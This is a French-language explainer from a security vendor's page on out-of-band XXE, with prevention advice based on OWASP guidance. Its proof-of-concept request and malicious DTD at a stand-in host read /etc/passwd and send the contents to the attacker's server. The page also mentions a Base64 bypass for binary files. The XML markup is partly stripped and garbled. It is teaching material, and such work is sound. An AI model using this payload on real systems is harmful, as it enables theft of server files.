Qu’est-ce que OOB XXE ?

Les vulnérabilités d’entité externe XML hors bande (OOB XXE) sont un type de vulnérabilité XXE où l’attaquant ne reçoit pas de réponse immédiate à la charge utile XXE. L’attaque est menée à l’aide d’un canal, tel qu’une requête HTTP directe, tandis que les résultats (tels que les fichiers sensibles) sont reçus via un autre canal, souvent un serveur HTTP contrôlé par l’attaquant.

OOB XXE est parfois confondu avec blind XXE en raison de l’absence de réponse directe, mais avec blind XXE, l’attaquant ne reçoit aucune réponse, reconstruisant à la place les données sensibles étape par étape en fonction du comportement de l’application ciblée, telles que les erreurs de serveur Web et d’analyseur XML qu’il génère.

Le processus d’exploitation des vulnérabilités XXE hors bande est similaire à l’utilisation d’entités paramètres avec XXE intrabande. L’attaquant crée une DTD externe (définition de type de document) que l’application attaquée télécharge ensuite à partir d’un serveur HTTP contrôlé par l’attaquant.

Alors que XXE intrabande peut être utilisé pour mener des attaques par déni de service (DoS) et par falsification de requête côté serveur (SSRF) contre des applications Web et des API, l’objectif principal d’OOB XXE est l’exfiltration de données sensibles.

Exemple de OOB XXE

Voici un exemple PoC de la manière dont un attaquant pourrait utiliser des entités de paramètres pour voler des données sensibles à l’aide d’une technique hors bande (OOB) :

Demande:

POST http://example.com/xml HTTP/1.1

DOCTYPE data [
  
  
  %dtd;
]>
<data>&send;data>
 

DTD malveillant ( bad.example.com/evil.dtd ):

">
%all;
 

L’attaque se déroule comme suit :

  1. L’analyseur XML analyse d’abord l’ %fileentité de paramètre, en chargeant le fichier /etc/passwd .
  2. Ensuite, l’analyseur XML résout l’ %dtdentité de paramètre et fait une demande pour obtenir le fichier DTD de l’attaquant à http://bad.example.com/evil.dtd .
  3. Une fois que l’analyseur a traité le fichier DTD de l’attaquant, l’ %allentité paramètre crée une entité générale appelée &sendqui contient une URL. Cette URL utilise l’ %fileentité de paramètre, qui a été résolue à l’étape 1 et contient désormais le contenu d’un fichier local. Dans ce cas, il s’agit du contenu du fichier Linux /etc/passwd .
  4. Enfin, une fois l’URL construite, l’analyseur XML traite l’ &sendentité XML, envoyant ainsi une requête au serveur de l’attaquant.
  5. L’attaquant peut enregistrer la demande de son côté et reconstruire le fichier à partir de l’entrée du journal.

Notez que cette attaque spécifique n’est pas conçue pour envoyer des fichiers binaires au serveur de l’attaquant en raison des limitations du format d’URL. Cependant, vous pourrez peut-être contourner ces limitations en utilisant des techniques telles que les wrappers PHP pour encoder le fichier à l’aide de Base64.

Comment prévenir les vulnérabilités XXE hors bande ?

Le seul moyen efficace d’empêcher les pirates malveillants d’exploiter les attaques XXE, à la fois XXE intrabande et OOB XXE, est d’empêcher complètement les développeurs d’utiliser des entités externes XML dans du contenu XML provenant de sources non fiables. En outre, l’OWASP vous recommande de désactiver complètement la prise en charge du traitement des définitions de type de document externe et d’exiger des développeurs qu’ils utilisent uniquement des DTD statiques et locales. Si votre application Web possède des fonctionnalités qui nécessitent l’utilisation de DTD externes, vous devez au moins désactiver la prise en charge des entités externes dans les DTD externes. Nous vous déconseillons de vous fier à la validation manuelle ou au nettoyage des documents XML avant le traitement afin de prévenir les attaques XXE.

Pour savoir comment désactiver le traitement DTD et XXE dans votre analyseur XML spécifique, reportez-vous à la feuille de triche de prévention OWASP XXE appropriée , qui contient des instructions pour de nombreux langages de programmation et analyseurs XML couramment utilisés.

OOB XXE signifie entité externe XML hors bande. Les vulnérabilités OOB XXE sont un type de vulnérabilité XXE où l’attaquant ne reçoit pas de réponse immédiate à la charge utile XXE. L’attaque est menée à l’aide d’un canal, comme une requête HTTP directe, tandis que les résultats sont reçus via un autre canal, généralement envoyé à un serveur HTTP contrôlé par l’attaquant.

OOB XXE est possible si l’application est vulnérable à XXE et que l’attaquant dispose d’un serveur Web qu’il peut utiliser pour héberger des DTD malveillantes et recevoir des réponses. OOB XXE est la technique d’attaque préférée lorsque l’attaquant n’a aucun moyen de recevoir directement des réponses d’une application vulnérable, par exemple, si le contenu d’un document XML téléchargé ne peut pas être affiché.

 

La meilleure façon de prévenir les vulnérabilités OOB XXE et tous les autres types de vulnérabilités XXE est de désactiver complètement les définitions de type de document (DTD) dans votre analyseur XML. Si cela n’est pas possible, vous devez au moins désactiver la prise en charge des entités externes et des déclarations de type de document externe pour votre analyseur.

 

{"cpt":"service","style":"9","columns":"3","show":"6","order":"DESC","orderby":"DESC"}

Nos Services en Cybersécurité

Protégez-vous maintenant !

Forfait Évaluation de la surface d’attaque

La cible de cette évaluation de la surface d’attaque est les ressources réseau, les systèmes et les terminaux. Il n’y a pas de ciblage des membres ou des employés des organisations à des fins d’ingénierie sociale.

Forfait Évaluation de la vulnérabilité

Nous sommes en mesure de fournir des évaluations de vulnérabilité des applications web , des serveurs connectés à Internet et des gammes de réseaux connectés à Internet .

Analyse de vulnérabilité

Cycuri propose des analyses de vulnérabilité ponctuelles ou régulières de votre périmètre externe, de vos applications Web ou de votre réseau interne.

Forfait Évaluation WordPress

Nos services d’évaluation WordPress professionnelle sont populaires auprès de tous ceux qui souhaitent un examen par un tiers indépendant de leur posture de sécurité.

Test d’intrusion d’application Web

Que votre application Web soit destinée aux employés, B2B ou B2C, il existe un niveau de confiance inhérent qui est supposé lorsque les utilisateurs sont autorisés à entrer, naviguer et utiliser des applications et/ou des portails d’applications.

Test d’intrusion Black-Box externe

Un test d’intrusion externe Black-Box imite les actions d’un adversaire réel en tentant d’exploiter les faiblesses de la sécurité du réseau sans les dangers d’une menace réelle.

Entité externe XML hors bande (OOB XXE)